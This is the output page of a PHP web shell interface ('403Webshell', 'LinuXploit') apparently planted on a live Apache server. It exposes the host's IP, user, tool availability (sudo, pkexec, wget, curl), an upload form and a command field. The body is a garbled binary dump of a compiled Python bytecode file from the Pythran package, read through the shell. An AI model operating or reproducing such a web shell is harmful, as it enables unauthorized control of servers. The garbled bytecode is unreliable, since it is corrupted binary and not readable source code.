403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/__pycache__/utils.cpython-310.pyc
o

�@�a��@s�dZddlZddlmZddlmZmZddlm	Z	ddl
mZdd�Zd	d
�Z
dd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zed#d$��ZdS)%z+ Common function use for AST manipulation. �N��MODULES)�mangle�demangle)�reduce)�contextmanagercCst|tj�ot|jt�S�N)�
isinstance�ast�Constant�value�str��node�r�//usr/lib/python3/dist-packages/pythran/utils.py�isstr
srcCst|tj�o
t|jttf�Sr)r	r
rr�int�boolrrrr�
isintegrals�rcCst|tj�ot|jtttf�Sr)r	r
rrr�floatrrrrr�isnums�rcCs$t|tj�sdStdd�|jD��S)NFcss�|]	}t|tj�VqdSr)r	r
�Slice)�.0�eltrrr�	<genexpr>s�zisextslice.<locals>.<genexpr>)r	r
�Tuple�any�eltsrrrr�
isextslicesrcCs,t|jtj�s	dSt|j�sdS|jjdkS)NFr)r	�opr
�Powr�rightrrrrr�ispowis

r#csF�fdd���t|�\}}|��s|dd�d|df}|d|fS)z5 Compute path and final object for an attribute node cs\t|tj�r|t|j�t|j�ffSt|tj�r,�||j�\}}||j||jffSdS)z9 Get function path and intrinsic from an ast.Attribute.  N)r	r
�Namer�id�	Attributer�attr)�modulesr'�module�path��get_intrinsic_pathrrr,*s�z(attr_to_path.<locals>.get_intrinsic_pathN����functor)�pythonic)r�	isliteral)r�objr*rr+r�attr_to_path's
r2c	Cs0tdd�|dd�t�t|d�t��dd��S)aO
    Transform path to ast.Attribute.

    >>> import gast as ast
    >>> path = ('builtins', 'my', 'constant')
    >>> value = path_to_attr(path)
    >>> ref = ast.Attribute(
    ...     value=ast.Attribute(value=ast.Name(id="builtins",
    ...                                        ctx=ast.Load(),
    ...                                        annotation=None,
    ...                                        type_comment=None),
    ...                         attr="my", ctx=ast.Load()),
    ...     attr="constant", ctx=ast.Load())
    >>> ast.dump(ref) == ast.dump(value)
    True
    cSst�||t���Sr)r
r&�Load)�hpath�lastrrr�<lambda>Hszpath_to_attr.<locals>.<lambda>�Nr)rr
r$rr3�r*rrr�path_to_attr7s$�r9cCs0t|�dkrt|dSt|dd��|dS)z�
    Retrieve a symbol in MODULES based on its path
    >>> path = ('math', 'pi')
    >>> path_to_node(path) #doctest: +ELLIPSIS
    <pythran.intrinsic.ConstantIntr object at 0x...>
    r7rNr-)�lenr�path_to_noder8rrrr;Lsr;cCst|tj�ot|jdd�dkS)Nr'�getattr)r	r
�Callr<�funcrrrr�isattrYs�r?cCsdd}t|tjtjf�sJ|��t|tj�st|�r0t|�r#|jd}n|j}t|tj�st|�s|S)a�
    Return modified variable name.

    >>> import gast as ast
    >>> ref = ast.Subscript(
    ...     value=ast.Subscript(
    ...         value=ast.Name('a', ast.Load(), None, None),
    ...         slice=ast.Name('i', ast.Load(), None, None),
    ...         ctx=ast.Load()),
    ...     slice=ast.Name('j', ast.Load(), None, None),
    ...     ctx=ast.Load())
    >>> ast.dump(get_variable(ref))
    "Name(id='a', ctx=Load(), annotation=None, type_comment=None)"
    z(Only name and subscript can be assigned.r)r	r
r$�	Subscriptr?�argsr)�
assignable�msgrrr�get_variable^s�rDcCstdd|S�N�builtins�pythranr��namerrr�pythran_builtinwsrJcCs|tddvs
J�dd|fSrErrHrrr�pythran_builtin_path{s
rKcCstt|��Sr)r9rKrHrrr�pythran_builtin_attr�srLcCsddlm}|d||vS)Nr)�cxx_keywords�_)�pythran.tablesrM)rIrMrrr�cxxid�srPccs�|�|�dV|��dSr)�append�pop)�l�vrrr�pushpop�s�
rU)�__doc__�gastr
rOr�pythran.conversionrr�	functoolsr�
contextlibrrrrrr#r2r9r;r?rDrJrKrLrPrUrrrr�<module>s,


Youez - 2016 - github.com/yon3zu
LinuXploit